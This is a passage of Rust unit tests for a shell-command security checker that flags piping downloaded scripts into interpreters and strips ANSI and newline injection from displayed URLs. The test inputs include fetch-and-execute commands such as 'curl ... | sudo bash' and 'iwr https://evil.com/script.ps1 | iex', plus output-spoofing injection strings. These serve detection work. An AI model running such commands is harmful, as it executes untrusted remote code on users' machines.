2396 let input = "cat /tmp/script.sh | bash";
2397 let segments = tokenize::tokenize(input, ShellType::Posix);
2398 let mut findings = Vec::new();
2399 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
2400 assert_eq!(findings.len(), 1);
2401 assert!(
2402 !findings[0].description.contains("getvet.sh"),
2403 "non-fetch source should NOT get vet hint"
2404 );
2405 assert!(
2406 !findings[0].description.contains("tirith run"),
2407 "non-fetch source should NOT get tirith run hint"
2408 );
2409 }
2410
2411 #[test]
2412 fn test_dashdash_stops_flag_skipping() {
2413 let input = "curl https://example.com/install.sh | command -- bash";
2415 let segments = tokenize::tokenize(input, ShellType::Posix);
2416 let mut findings = Vec::new();
2417 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
2418 assert_eq!(findings.len(), 1, "should detect bash after --");
2419 }
2420
2421 #[test]
2422 fn test_sudo_dashdash_resolves_command() {
2423 let input = "curl https://example.com/install.sh | sudo -- bash";
2425 let segments = tokenize::tokenize(input, ShellType::Posix);
2426 let mut findings = Vec::new();
2427 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
2428 assert_eq!(findings.len(), 1, "should detect bash after sudo --");
2429 assert!(
2430 findings[0].description.contains("interpreter 'bash'"),
2431 "should resolve to bash: {}",
2432 findings[0].description
2433 );
2434 }
2435
2436 #[test]
2437 fn test_ansic_quoting_not_applied_to_fish() {
2438 assert_eq!(normalize_shell_token("$'bash'", ShellType::Fish), "$bash");
2440 assert_eq!(normalize_shell_token("$'bash'", ShellType::Posix), "bash");
2442 }
2443
2444 #[test]
2445 fn test_powershell_doubled_single_quote() {
2446 assert_eq!(
2448 normalize_shell_token("'it''s'", ShellType::PowerShell),
2449 "it's"
2450 );
2451 assert_eq!(normalize_shell_token("'it''s'", ShellType::Posix), "its");
2453 }
2454
2455 #[test]
2456 fn test_sudo_combined_short_flags() {
2457 let input = "curl https://example.com/install.sh | sudo -iu root bash";
2459 let segments = tokenize::tokenize(input, ShellType::Posix);
2460 let mut findings = Vec::new();
2461 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
2462 assert_eq!(
2463 findings.len(),
2464 1,
2465 "should detect pipe to bash through sudo -iu root"
2466 );
2467 assert!(
2468 findings[0].description.contains("interpreter 'bash'"),
2469 "should resolve to bash, not root: {}",
2470 findings[0].description
2471 );
2472 }
2473
2474 #[test]
2475 fn test_pipe_to_interpreter_hint_iwr_powershell() {
2476 let input = "iwr https://evil.com/script.ps1 | iex";
2477 let segments = tokenize::tokenize(input, ShellType::PowerShell);
2478 let mut findings = Vec::new();
2479 check_pipe_to_interpreter(&segments, ShellType::PowerShell, &mut findings);
2480 assert_eq!(findings.len(), 1);
2481 assert!(
2482 findings[0].description.contains("getvet.sh"),
2483 "iwr (PowerShell fetch) should get vet hint"
2484 );
2485 assert!(
2486 !findings[0].description.contains("tirith run"),
2487 "PowerShell fetch should NOT suggest tirith run"
2488 );
2489 }
2490
2491 #[test]
2492 fn test_pipe_to_interpreter_hint_sanitizes_ansi_in_url() {
2493 let input = "curl https://example.com/\x1b[31mred | bash";
2495 let segments = tokenize::tokenize(input, ShellType::Posix);
2496 let mut findings = Vec::new();
2497 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
2498 assert_eq!(findings.len(), 1);
2499 assert!(
2500 !findings[0].description.contains('\x1b'),
2501 "ANSI escape must be stripped from hint URL: {}",
2502 findings[0].description
2503 );
2504 assert!(
2505 findings[0]
2506 .description
2507 .contains("https://example.com/[31mred"),
2508 "URL should be present minus the ESC byte: {}",
2509 findings[0].description
2510 );
2511 }
2512
2513 #[test]
2514 fn test_pipe_to_interpreter_hint_sanitizes_newline_in_url() {
2515 let input = "curl \"https://example.com/\nFAKE: safe\" | bash";
2517 let segments = tokenize::tokenize(input, ShellType::Posix);
2518 let mut findings = Vec::new();
2519 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
2520 assert_eq!(findings.len(), 1);
2521 let hint_line = findings[0]
2523 .description
2524 .lines()
2525 .find(|l| l.contains("Safer:"))
2526 .expect("should have hint line");
2527 assert!(
2528 hint_line.contains("example.com/FAKE"),
2529 "newline stripped, FAKE should be part of the URL on the hint line: {hint_line}"
2530 );
2531 assert!(
2533 !findings[0]
2534 .description
2535 .lines()
2536 .any(|l| l.starts_with("FAKE")),
2537 "newline injection must not create a spoofed output line: {}",
2538 findings[0].description
2539 );
2540 }
2541
2542 #[test]
2543 fn test_sanitize_url_for_display() {
2544 assert_eq!(
2545 sanitize_url_for_display("https://ok.com/path"),
2546 "https://ok.com/path"
2547 );
2548 assert_eq!(
2549 sanitize_url_for_display("https://evil.com/\x1b[31mred\x1b[0m"),
2550 "https://evil.com/[31mred[0m"
2551 );
2552 assert_eq!(
2553 sanitize_url_for_display("https://evil.com/\n\rspoof"),
2554 "https://evil.com/spoof"
2555 );
2556 assert_eq!(
2557 sanitize_url_for_display("https://evil.com/\x07bell\x00null"),
2558 "https://evil.com/bellnull"
2559 );
2560 }
2561
2562 #[test]
2563 fn test_source_command_arrays_consistent() {
2564 for cmd in POSIX_FETCH_COMMANDS {
2567 assert!(
2568 is_source_command(cmd),
2569 "POSIX_FETCH entry '{cmd}' not recognized"
2570 );
2571 assert!(
2572 is_url_fetch_command(cmd),
2573 "POSIX_FETCH entry '{cmd}' not in fetch union"
2574 );
2575 }
2576 for cmd in POWERSHELL_FETCH_COMMANDS {
2577 assert!(
2578 is_source_command(cmd),
2579 "PS_FETCH entry '{cmd}' not recognized"
2580 );
2581 assert!(
2582 is_url_fetch_command(cmd),
2583 "PS_FETCH entry '{cmd}' not in fetch union"
2584 );
2585 }
2586 for cmd in NON_FETCH_SOURCE_COMMANDS {
2587 assert!(
2588 is_source_command(cmd),
2589 "NON_FETCH entry '{cmd}' not recognized"
2590 );
2591 assert!(
2592 !is_url_fetch_command(cmd),
2593 "NON_FETCH entry '{cmd}' should not be in fetch union"
2594 );
2595 }
2596 assert!(
2597 !is_source_command("cat"),
2598 "cat should not be a source command"
2599 );
2600 }
2601}